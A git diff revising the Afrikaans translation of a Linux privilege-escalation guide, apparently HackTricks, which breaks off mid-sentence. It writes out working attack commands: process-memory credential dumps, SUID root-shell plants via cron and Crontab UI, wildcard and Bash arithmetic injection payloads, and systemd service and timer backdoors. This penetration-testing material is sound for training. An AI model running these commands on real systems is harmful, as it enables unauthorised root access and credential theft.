diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89f..000000000 Binary files a/src/images/k8studio.jpg and /dev/null differ diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 000000000..0add889f2 Binary files /dev/null and b/src/images/k8studio.png differ diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 7419a67b6..f48a01135 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,36 +6,36 @@ ### OS-inligting -Kom ons begin om inligting te versamel oor die OS wat tans loop. +Kom ons begin om inligting oor die hardloopende OS in te samel ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### Pad -As jy **skryfregte op enige vouer binne die `PATH`-veranderlike het**, kan jy dalk sommige libraries of binaries kap: +As jy **skryfregte op enige gids binne die `PATH`-veranderlike het**, kan jy dalk sekere libraries of binaries kaap: ```bash echo $PATH ``` -### Env info +### Omgewingsinligting -Is daar interessante inligting, wagwoorde of API-sleutels in die omgewingsvariabels? +Interessante inligting, wagwoorde of API-sleutels in die omgewingsveranderlikes? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Kontroleer die kernel-weergawe en of daar enige exploit is wat gebruik kan word om privileges te eskaleer. +Kontroleer die kernel-weergawe en kyk of daar 'n exploit is wat gebruik kan word om te escalate privileges. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Jy kan 'n goeie lys van kwesbare kernel-weergawes en sommige reeds **compiled exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Jy kan 'n goeie lys van kwesbare kernel-weergawes en sommige reeds **compiled exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Ander webwerwe waar jy sommige **compiled exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Om al die kwesbare kernel-weergawes vanaf daardie webwerf te onttrek kan jy doen: +Om al die kwesbare kernel-weergawes vanaf daardie web te onttrek, kan jy die volgende doen: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -43,9 +43,9 @@ Gereedskap wat kan help om na kernel exploits te soek, is: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer IN die slagoffer uit, kontroleer slegs exploits vir kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -Soek altyd **die kernel-weergawe op Google**, miskien is jou kernel-weergawe in 'n kernel exploit genoem en sal jy dan seker wees dat hierdie exploit geldig is. +Soek altyd **die kernel-weergawe op Google**, dalk word jou kernel-weergawe in 'n kernel exploit genoem en dan sal jy seker wees dat hierdie exploit geldig is. ### CVE-2016-5195 (DirtyCow) @@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo-weergawe +### Sudo weergawe -Gebaseer op die kwesbare sudo weergawes wat in die volgende verskyn: +Gebaseer op die kwesbare sudo-weergawes wat in die volgende verskyn: ```bash searchsploit sudo ``` @@ -67,7 +67,7 @@ Jy kan nagaan of die sudo-weergawe kwesbaar is deur hierdie grep te gebruik. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 Van @sickrov ``` @@ -79,7 +79,7 @@ Kyk na **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie vuln uitgebu ```bash dmesg 2>/dev/null | grep "signature" ``` -### Meer stelsel-enumerasie +### Meer stelsel-ontleding ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -125,14 +125,13 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null As jy binne 'n docker container is, kan jy probeer om daaruit te ontsnap: - {{#ref}} docker-security/ {{#endref}} ## Skywe -Kontroleer **wat gemonteer en ongemonteer is**, waar en waarom. As iets ongemonteer is, kan jy probeer om dit te monteer en na privaat inligting te kyk. +Kontroleer **wat mounted en unmounted is**, waar en waarom. As iets unmounted is, kan jy probeer om dit te mount en kyk vir privaat inligting ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Nuttige sagteware -Som nuttige binaries op +Lys nuttige binaries ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Kontroleer ook of **any compiler is installed**. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien waar jy dit gaan gebruik (of op een soortgelyke) te compile. +Kyk ook of **any compiler is installed**. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die machine te compile waar jy dit gaan gebruik (of op een soortgelyk). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Geïnstalleerde kwesbare sagteware -Kontroleer die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar 'n ouer Nagios-weergawe (byvoorbeeld) wat misbruik kan word om escalating privileges te verkry…\ -Dit word aanbeveel om die weergawes van die meer verdagte geïnstalleerde sagteware handmatig na te gaan. +Kontroleer die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar n ou Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word om escalating privileges te verkry…\ +Dit word aanbeveel om die weergawes van die meer verdagte geïnstalleerde sagteware manueel te kontroleer. ```bash dpkg -l #Debian rpm -qa #Centos ``` -As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om te kyk vir verouderde en kwesbare sagteware wat in die masjien geïnstalleer is. +As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om te kyk na verouderde en kwesbare sagteware wat op die masjien geïnstalleer is. -> [!NOTE] > _Let wel dat hierdie opdragte baie inligting sal wys wat meestal nutteloos sal wees, daarom word toepassings soos OpenVAS of soortgelyks aanbeveel wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits_ +> [!NOTE] > _Neem asseblief kennis dat hierdie opdragte baie inligting sal vertoon wat meestal nutteloos sal wees; daarom word toepassings soos OpenVAS of soortgelykes aanbeveel wat sal kyk of enige geïnstalleerde sagteware-weergawe kwesbaar is vir bekende exploits_ ## Prosesse -Kyk na **watter prosesse** uitgevoer word en kontroleer of enige proses **meer voorregte het as wat dit behoort te hê** (miskien 'n tomcat wat deur root uitgevoer word?) +Kyk na **watter prosesse** uitgevoer word en kontroleer of enige proses **meer bevoegdhede het as wat dit behoort te hê** (byvoorbeeld 'n tomcat wat deur root uitgevoer word?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Ook **kontroleer jou voorregte oor die prosesse se binaries**, dalk kan jy iemand se binaries oorskryf. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** identifiseer dit deur die `--inspect` parameter binne die opdragreël van die proses te kontroleer. +Kontroleer ook jou bevoegdhede oor die proses se binaries; dalk kan jy iemand oorskryf. -### Process monitoring +### Prosesmonitering -Jy kan hulpmiddels soos [**pspy**](https://github.com/DominicBreuker/pspy) gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer 'n stel vereistes vervul is. +Jy kan gereedskap soos [**pspy**](https://github.com/DominicBreuker/pspy) gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer 'n stel vereistes vervul is. -### Process memory +### Prosesgeheue -Sommige dienste op 'n bediener stoor **credentials in clear text inside the memory**.\ -Gewoonlik het jy **root privileges** nodig om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer credentials wil ontdek.\ +Sommige dienste op 'n bediener berg **credentials in plainteks in die geheue**. +Gewoonlik benodig jy **root privileges** om die geheue van prosesse wat aan ander gebruikers behoort te lees; daarom is dit gewoonlik meer nuttig as jy reeds root is en meer credentials wil ontdek. Onthou egter dat **as 'n gewone gebruiker jy die geheue van die prosesse wat jy besit kan lees**. > [!WARNING] -> Let daarop dat deesdae die meeste masjiene **ptrace nie standaard toelaat nie**, wat beteken dat jy nie ander prosesse wat aan jou onbevoorregte gebruiker behoort kan dump nie. +> Neem kennis dat deesdae die meeste masjiene **ptrace nie standaard toelaat nie**, wat beteken dat jy nie ander prosesse wat aan jou nie-bevoegde gebruiker behoort kan dump nie. > > Die lêer _**/proc/sys/kernel/yama/ptrace_scope**_ beheer die toeganklikheid van ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: alle prosesse kan gedebug word, solank hulle dieselfde uid het. Dit is die klassieke manier waarop ptracing gewerk het. +> - **kernel.yama.ptrace_scope = 1**: slegs 'n ouerproses kan gedebug word. +> - **kernel.yama.ptrace_scope = 2**: Slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE bevoegdheid vereis. +> - **kernel.yama.ptrace_scope = 3**: Geen prosesse mag met ptrace getraceer word nie. Sodra dit gestel is, is 'n herlaai nodig om ptracing weer moontlik te maak. #### GDB -As jy toegang het tot die geheue van 'n FTP-diens (byvoorbeeld) kan jy die Heap kry en in sy credentials soek. +As jy toegang het tot die geheue van 'n FTP-diens (byvoorbeeld) kan jy die Heap kry en daarin na sy credentials soek. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### GDB Skript ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Vir 'n gegewe proses-ID, **maps toon hoe geheue binne daardie proses se** virtuele adresruimte toegeken is; dit wys ook die **toestemmings van elke gekarteerde streek**. Die **mem** pseudo-lêer **blootstel die proses se geheue self**. Uit die **maps** file weet ons watter **geheuegebiede leesbaar is** en hul offsets. Ons gebruik hierdie inligting om **in die mem file te seek en alle leesbare gebiede te dump** na 'n lêer. +Vir 'n gegewe proses-ID, **maps wys hoe geheue binne daardie proses se** virtuele adresruimte toegeken is; dit wys ook die **toestemmings van elke gemapte gebied**. Die **mem** pseudo-lêer **maak die proses se geheue self sigbaar**. Uit die **maps**-lêer weet ons watter **geheuegebiede leesbaar** is en hul offsets. Ons gebruik hierdie inligting om **in die mem-lêer te seek en alle leesbare gebiede te dump** na 'n lêer. ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` bied toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan benader word met behulp van /dev/kmem.\ -Tipies is `/dev/mem` slegs leesbaar deur **root** en die **kmem** groep. +`/dev/mem` bied toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan via /dev/kmem bereik word.\ +Tipies is `/dev/mem` slegs leesbaar deur **root** en **kmem** groep. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump vir linux -ProcDump is 'n Linux-herontwerp van die klassieke ProcDump tool uit die Sysinternals-suite vir Windows. Kry dit by [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump is 'n Linux-herinterpretasie van die klassieke ProcDump-hulpmiddel uit die Sysinternals-gereedskapstel vir Windows. Kry dit by [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,29 +266,29 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Gereedskap -Om 'n prosesgeheue te dump, kan jy gebruik: +Om die prosesgeheue uit te lees kan jy die volgende gebruik: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig root vereistes verwyder en die proses wat aan jou behoort dump -- Script A.5 van [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root word vereis) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig die root-vereistes verwyder en die proses wat aan jou behoort dump +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root word vereis) -### Kredensiale uit prosesgeheue +### Aanmeldbewyse uit prosesgeheue -#### Manuele voorbeeld +#### Handmatige voorbeeld -As jy vind dat die authenticator-proses aan die loop is: +As jy sien dat die authenticator-proses loop: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Jy kan die process dump (sien vorige afdelings om verskillende maniere te vind om die memory van 'n process te dump) en in die memory na credentials soek: +Jy kan dump the process (sien vorige afdelings om verskillende maniere te vind om dump the memory of a process) en soek vir credentials binne die memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Die tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **duidelike-tekst inlogbewyse uit die geheue steel** en uit sommige **bekende lêers**. Dit vereis root-bevoegdhede om behoorlik te werk. +Die tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **platte-teks inlogbewyse uit geheue steel** en uit sommige **bekende lêers**. Dit vereis root-voorregte om behoorlik te werk. | Funksie | Prosesnaam | | ------------------------------------------------- | -------------------- | @@ -316,21 +315,21 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Geskeduleerde/Cron jobs -### Crontab UI (alseambusher) wat as root loop – web-based scheduler privesc +### Crontab UI (alseambusher) running as root – webgebaseerde scheduler privesc -As 'n web "Crontab UI" paneel (alseambusher/crontab-ui) as root loop en slegs aan loopback gebind is, kan jy dit steeds via SSH local port-forwarding bereik en 'n bevoorregte taak skep om privilegieë te eskaleer. +As 'n web "Crontab UI" paneel (alseambusher/crontab-ui) as root loop en slegs aan loopback gebind is, kan jy dit steeds via SSH local port-forwarding bereik en 'n bevoorregte taak skep om op te skaal. Tipiese ketting -- Ontdek 'n slegs-loopback-poort (bv., 127.0.0.1:8000) en Basic-Auth realm via `ss -ntlp` / `curl -v localhost:8000` -- Vind inlogbewyse in operasionele artefakte: -- Rugsteun-/skrip-lêers met `zip -P ` +- Vind 'n slegs-loopback-poort (bv. 127.0.0.1:8000) en die Basic-Auth realm via `ss -ntlp` / `curl -v localhost:8000` +- Vind credentials in operasionele artefakte: +- Backups/scripts met `zip -P ` - systemd unit wat `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` blootstel -- Tunnel en aanmelding: +- Tunnel en login: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- Skep 'n high-priv job en voer dit onmiddellik uit (gee 'n SUID shell): +- Skep 'n hoë-priv job en voer dit onmiddellik uit (drops SUID shell): ```bash # Name: escalate # Command: @@ -341,36 +340,33 @@ cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell /tmp/rootshell -p # root shell ``` Verharding -- Moenie Crontab UI as root laat loop nie; beperk dit tot 'n toegewyde gebruiker met minimale permissies -- Bind to localhost en beperk toegang bykomend via firewall/VPN; moenie wagwoorde hergebruik nie -- Moenie secrets in unit files insluit nie; gebruik secret stores of 'n root-only EnvironmentFile -- Skakel audit/logging in vir on-demand job executions +- Moet nie Crontab UI as root laat loop nie; beperk dit tot 'n toegewyde gebruiker met minimale permissies +- Bind aan localhost en beperk toegang verder deur firewall/VPN; hergebruik nie wagwoorde nie +- Vermy om geheime in unit files in te sluit; gebruik secret stores of root-only EnvironmentFile +- Skakel oudit/logging in vir on-demand taakuitvoerings - - -Kontroleer of enige geskeduleerde job kwesbaar is. Miskien kan jy voordeel trek uit 'n script wat deur root uitgevoer word (wildcard vuln? kan jy lêers wat root gebruik wysig? gebruik symlinks? skep spesifieke lêers in die directory wat root gebruik?). +Kontroleer of enige geskeduleerde taak kwesbaar is. Dit kan wees dat jy voordeel kan trek uit 'n skrip wat deur root uitgevoer word (wildcard vuln? kan jy lêers wat root gebruik wysig? gebruik symlinks? skep spesifieke lêers in die directory wat root gebruik?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Cron-pad Byvoorbeeld, binne _/etc/crontab_ kan jy die PATH vind: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Let op hoe die gebruiker "user" skryfregte oor /home/user het_) - -As binne hierdie crontab die root-gebruiker probeer om 'n opdrag of skrip uit te voer sonder om die PATH te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\ +(_Let wel dat die gebruiker "user" skryfregte oor /home/user het_) +As binne hierdie crontab die root-gebruiker 'n opdrag of script probeer uitvoer sonder om die PATH te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\ Dan kan jy 'n root shell kry deur te gebruik: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron wat 'n script met 'n wildcard gebruik (Wildcard Injection) +### Cron wat 'n script gebruik met 'n wildcard (Wildcard Injection) -As 'n script deur root uitgevoer word en 'n “**\***” in 'n kommando voorkom, kan jy dit uitbuit om onvoorsiene dinge te laat gebeur (soos privesc). Voorbeeld: +As 'n script wat deur root uitgevoer word 'n “**\***” in 'n opdrag het, kan jy dit uitbuit om onverwagte dinge te veroorsaak (soos privesc). Voorbeeld: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` @@ -386,11 +382,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash voer parameter expansion en command substitution uit voordat arithmetic evaluation in ((...)), $((...)) and let plaasvind. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs. +Bash voer parameter expansion en command substitution uit voor arithmetic evaluation in ((...)), $((...)) en let. As 'n root cron/parser onbeheerde logvelde lees en dit in 'n arithmetic context invoer, kan 'n aanvaller 'n command substitution $(...) injekteer wat as root uitgevoer word wanneer die cron loop. -- Hoekom dit werk: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. +- Hoekom dit werk: In Bash gebeur uitbreidings in hierdie volgorde: parameter/variable expansion, command substitution, arithmetic expansion, dan word splitting en pathname expansion. Dus word 'n waarde soos `$(/bin/bash -c 'id > /tmp/pwn')0` eers vervang (die opdrag word uitgevoer), en dan word die oorblywende numeriese `0` vir die arithmetic gebruik sodat die skrip sonder foute voortgaan. -- Tipiese kwesbare patroon: +- Typical vulnerable pattern: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -400,7 +396,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid. +- Exploitation: Kry aanvaller-beheerde teks in die geparsde log geskryf sodat die numeries-ogende veld 'n command substitution bevat en op 'n syfer eindig. Verseker dat jou opdrag nie na stdout skryf nie (of herlei dit) sodat die arithmetic geldig bly. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -409,21 +405,21 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Indien jy **can modify a cron script** executed by root, kan jy baie maklik 'n shell kry: +As jy **'n cron script kan wysig** wat deur root uitgevoer word, kan jy baie maklik 'n shell kry: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -As die script wat deur root uitgevoer word 'n **gids waarop jy volle toegang het** gebruik, kan dit dalk nuttig wees om daardie gids te verwyder en 'n **symlink-gids na 'n ander een te skep** wat 'n script wat deur jou beheer word uitvoer +As die script wat deur root uitgevoer word 'n **directory waarin jy volle toegang het** gebruik, kan dit dalk nuttig wees om daardie folder te verwyder en **'n symlink folder na 'n ander een te skep** wat 'n script uitvoer wat jy beheer. ```bash ln -d -s ``` ### Gereelde cron jobs -Jy kan die prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy daarvan voordeel trek en privilege escalation uitvoer. +Jy kan die prosesse monitor om prosesse te soek wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy dit uitbuit en escalate privileges. -Byvoorbeeld, om **elke 0.1s vir 1 minuut te monitor**, **sorteer volgens min uitgevoerde opdragte** en die opdragte wat die meeste uitgevoer is te verwyder, kan jy: +Byvoorbeeld, om **elke 0.1s vir 1 minuut te monitor**, **sorteer op die minste uitgevoerde opdragte** en verwyder die opdragte wat die meeste uitgevoer is, kan jy doen: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` @@ -431,97 +427,99 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Onsigbare cron jobs -Dit is moontlik om 'n cronjob te skep **deur 'n carriage return na 'n kommentaar te plaas** (sonder newline-karakter), en die cronjob sal werk. Voorbeeld (let op die carriage return char): +Dit is moontlik om 'n cronjob te skep deur **'n carriage return na 'n kommentaar te plaas** (sonder 'n newline-karakter), en die cron job sal werk. Voorbeeld (let op die carriage return-karakter): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Dienste -### Skryfbare _.service_ files +### Skryfbare _.service_ lêers -Kyk of jy enige `.service` lêer kan skryf, as jy kan, kan jy dit **wysig** sodat dit jou **backdoor** **uitvoer wanneer** die diens **begin**, **herbegin** of **gestop** word (jy sal moontlik moet wag totdat die masjien herbegin word).\ -Byvoorbeeld, skep jou backdoor binne die `.service` lêer met **`ExecStart=/tmp/script.sh`** +Kyk of jy enige `.service` lêer kan skryf; as jy dit kan, kan jy dit **wysig** sodat dit jou **backdoor** **uitvoer wanneer** die diens **begin**, **herbegin** of **gestop** word (jy mag dalk moet wag totdat die masjien herbegin).\ +Byvoorbeeld skep jou backdoor binne die .service lêer met **`ExecStart=/tmp/script.sh`** -### Skryfbare diens-uitvoerbare lêers +### Skryfbare service-binaries -Hou in gedagte dat as jy **skryfregte oor uitvoerbare lêers wat deur dienste uitgevoer word** het, jy hulle kan verander om backdoors in te sit, sodat wanneer die dienste weer uitgevoer word, die backdoors ook uitgevoer sal word. +Hou in gedagte dat as jy **skryftoestemmings oor binaries wat deur dienste uitgevoer word** het, jy hulle kan verander om backdoors in te voeg sodat wanneer die dienste weer uitgevoer word die backdoors uitgevoer sal word. -### systemd PATH - Relatiewe paaie +### systemd PATH - Relatiewe Paaie Jy kan die PATH wat deur **systemd** gebruik word sien met: ```bash systemctl show-environment ``` -Indien jy uitvind dat jy in enige van die vouers van die pad kan **skryf**, mag jy dalk in staat wees om **escalate privileges**. Jy moet soek na **relatiewe paaie wat in service-konfigurasielêers gebruik word**, soos: +As jy vind dat jy in enige van die vouers van die pad kan **skryf**, mag jy dalk in staat wees om **escalate privileges**. Jy moet soek na **relatiewe paaie wat in service-konfigurasielêers gebruik word** soos: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Skep dan 'n **executable** met die **same name as the relative path binary** binne die systemd PATH-lêergids waarvoor jy skryfregte het, en wanneer die service gevra word om die kwesbare aksie uit te voer (**Start**, **Stop**, **Reload**), sal jou **backdoor** uitgevoer word (onbevoorregte gebruikers kan gewoonlik nie diensse begin/stop nie, maar kyk of jy `sudo -l` kan gebruik). +Skep dan 'n **executable** met dieselfde naam as die relatiewe pad-binary binne die systemd PATH-gids waarop jy kan skryf, en wanneer die service gevra word om die kwesbare aksie (**Start**, **Stop**, **Reload**) uit te voer, sal jou **backdoor** uitgevoer word (onbevoorregte gebruikers kan gewoonlik nie services begin/stop nie, maar kyk of jy `sudo -l` kan gebruik). **Leer meer oor dienste met `man systemd.service`.** ## **Timers** -**Timers** is systemd unit-lêers waarvan die naam eindig op `**.timer**` wat `**.service**` lêers of gebeurtenisse beheer. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning vir kalender-tydgebeurtenisse en monotonic time events het en asynchroon uitgevoer kan word. +**Timers** is systemd unit-lêers waarvan die naam eindig op `**.timer**` en wat `**.service**` lêers of gebeure beheer. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning vir kalendertydgebeure en monotoniese tydgebeure het en asynchroon uitgevoer kan word. -Jy kan alle timers opnoem met: +Jy kan al die timers lys met: ```bash systemctl list-timers --all ``` ### Skryfbare timers -As jy 'n timer kan wysig, kan jy dit laat uitvoer om sekere bestaande systemd.unit-eenhede (soos 'n `.service` of 'n `.target`) aan te roep. +As jy 'n timer kan wysig, kan jy hom laat 'n bestaande systemd.unit uitvoer (soos 'n `.service` of 'n `.target`). ```bash Unit=backdoor.service ``` -> Die unit wat geaktiveer moet word wanneer hierdie timer verstryk. Die argument is 'n unit-naam, waarvan die agtervoegsel nie ".timer" is nie. Indien nie gespesifiseer nie, val hierdie waarde terug op 'n service wat dieselfde naam as die timer-unit het, behalwe vir die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die unit-naam wat geaktiveer word en die unit-naam van die timer-unit identies benoem is, behalwe vir die agtervoegsel. +In die dokumentasie kan jy lees wat die Unit is: -Dus, om hierdie toestemming te misbruik sal jy nodig hê om: +> Die unit wat geaktiveer word wanneer hierdie timer verstryk. Die argument is 'n unit name, waarvan die agtervoegsel nie ".timer" is nie. As dit nie gespesifiseer is nie, val hierdie waarde terug op 'n service wat dieselfde naam as die timer unit het, behalwe vir die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die unit name wat geaktiveer word en die unit name van die timer unit identies genoem word, behalwe vir die agtervoegsel. -- Vind 'n systemd unit (soos 'n `.service`) wat **'n skryfbare binêre** uitvoer -- Vind 'n systemd unit wat **'n relatiewe pad uitvoer** en jy het **skryfregte** oor die **systemd PATH** (om daardie executable te imiteer) +Daarom, om hierdie toestemming te misbruik, sal jy die volgende moet doen: -**Leer meer oor timers met `man systemd.timer`.** +- Vind 'n systemd unit (soos 'n `.service`) wat 'n **skryfbare binary** uitvoer +- Vind 'n systemd unit wat 'n **relatiewe pad** uitvoer en waarop jy **skryfregte** oor die **systemd PATH** het (om daardie executable te imiteer) -### **Timer inskakeling** +Lees meer oor timers met `man systemd.timer`. -Om 'n timer in te skakel benodig jy root-regte en om die volgende uit te voer: +### **Timer aktivering** + +Om 'n timer te aktiveer het jy root privileges nodig en moet jy die 